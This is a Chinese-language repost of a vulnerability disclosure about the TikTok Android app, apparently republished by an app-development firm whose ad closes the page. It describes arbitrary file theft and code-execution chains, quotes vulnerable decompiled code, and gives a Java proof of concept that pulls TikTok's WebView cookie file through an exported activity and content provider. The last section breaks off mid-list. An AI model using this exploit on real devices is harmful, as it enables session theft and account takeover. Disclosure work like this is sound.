VISION

抖音国际版(Tik Tok)安卓 App 安全漏洞分析

安全公司 Oversecured 研究人员在 TikTok 安卓 app 中发现了多个高危安全漏洞。其中包括一个利用用户交互实现任意文件窃取漏洞和 3 个任意代码执行漏洞。攻击者在受害者安卓设备上安装恶意应用就可以利用这些漏洞。目前所有这些漏洞都已修复,建议用户尽快更新到最新版本。

任意文件窃取漏洞

Oversecured 安全研究人员扫描 TikTok 安卓 app 发现 :


活动 com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity 会被导出,然后从 live_wall_paper 密钥中获取一个 com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean 类对象,然后写入静态域。然后,app 会从该静态域中接收 getVideoPath ( ) ,在 provider com.ss.android.ugc.aweme.livewallpaper.WallPaperDataProvider 中创建一个 ParcelFileDescriptor,并返回给攻击者:


public ParcelFileDescriptor openFile ( Uri uri, String str ) throws FileNotFoundException { String str2 = ""; int match = this.f83988g.match ( uri ) ; if ( match == 16 ) { str2 = C30504c.m104774a ( ) .f84038a.getVideoPath ( ) ; } //... try { return ParcelFileDescriptor.open ( new File ( str2 ) , 268435456 ) ;

因为该路径是完全由攻击者控制的,因此提供了任意文件的只读权限。然后,攻击者就获取了 app 私有目录中保存的任意文件的访问权限,还包括历史记录、隐私消息和 session key,最终实现对用户账户的完全访问。

PoC

String theft = "/data/user/0/com.zhiliaoapp.musically/app_webview/Default/Cookies"; LiveWallPaperBean bean = new LiveWallPaperBean ( ) ; bean.height = 100; bean.width = 100; bean.id = "1337"; bean.source = theft; bean.thumbnailPath = theft; bean.videoPath = theft; Intent intent = new Intent ( ) ; intent.setClassName ( "com.zhiliaoapp.musically", "com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity" ) ; intent.putExtra ( "live_wall_paper", bean ) ; startActivity ( intent ) ; Uri uri = Uri.parse ( "content://com.zhiliaoapp.musically.wallpapercaller/video_path" ) ; new Handler ( ) .postDelayed ( ( ) -> { try { Log.d ( "evil", IOUtils.toString ( getContentResolver ( ) .openInputStream ( uri ) ) ) ; } catch ( Throwable th ) { throw new RuntimeException ( th ) ; } }, 15000 ) ;

任意代码执行漏洞

所有的代码执行都和两个独立的漏洞穿起来:重写任意文件和从文件中动态加载代码。在安卓中有 2 类本地库文件:app resources ( app.apk/lib/... ) 中保存的库和从文件中动态加载的库。第一类有 owner 和 group,隐私 app 自己也只有这些文件的只读权限。但是第二类一般都是用 java.lang.System.load ( path ) 调用加载的,可以是任意的所有权,这也就是为什么开发者会选择该分发来加载动态代码。

Oversecured 研究人员发现了三种用来创建 PoC 的库。该漏洞被只运行一次然后就删除的 app 利用过。库文件会被写入 app 的私有目录,然后 app 在重启时就会加载。所有与任意代码执行相关的漏洞都会使得该 app 和其用户被黑。

研究人员发给 TikTok 的 PoC 可以获取保存在私有目录下的任意文件的访问权限,以提供给用户账户和私有消息及视频的访问权限。此外,攻击者可以根据权限做与 TikTok app 类似的事情,包括保存在设备上的用户图片和视频、下载的视频和 web 浏览器、app 使用时可以用用户的麦克风和摄像头在用户不知情的情况下录制音视频内容、读取通讯录。所有获取的数据都会在后台发送给攻击者的服务器,然后进行分析。

利用 NotificationBroadcastReceiver 的漏洞


Broadcast Receiver com.ss.android.ugc.awemepushlib.receiver.NotificationBroadcastReceiver 被导出并从第三方 app 接收消息:


public void onReceive ( Context context, Intent intent ) { if ( context != null && intent != null ) { //... Intent intent2 = ( Intent ) intent.getParcelableExtra ( "contentIntentURI" ) ; if ( "notification_clicked".equals ( action ) ) { //... context.startActivity ( intent2 ) ;

它会从 key contentIntentURI 处接收 intent 并传递给 startActivity ( ... ) 。这样攻击者就可以用任意数据和 flag 值来启动任意活动。研究人员在 TikTok app 中发现的 provider 如下:


 


沈阳App定制开发,请信赖唯思科技!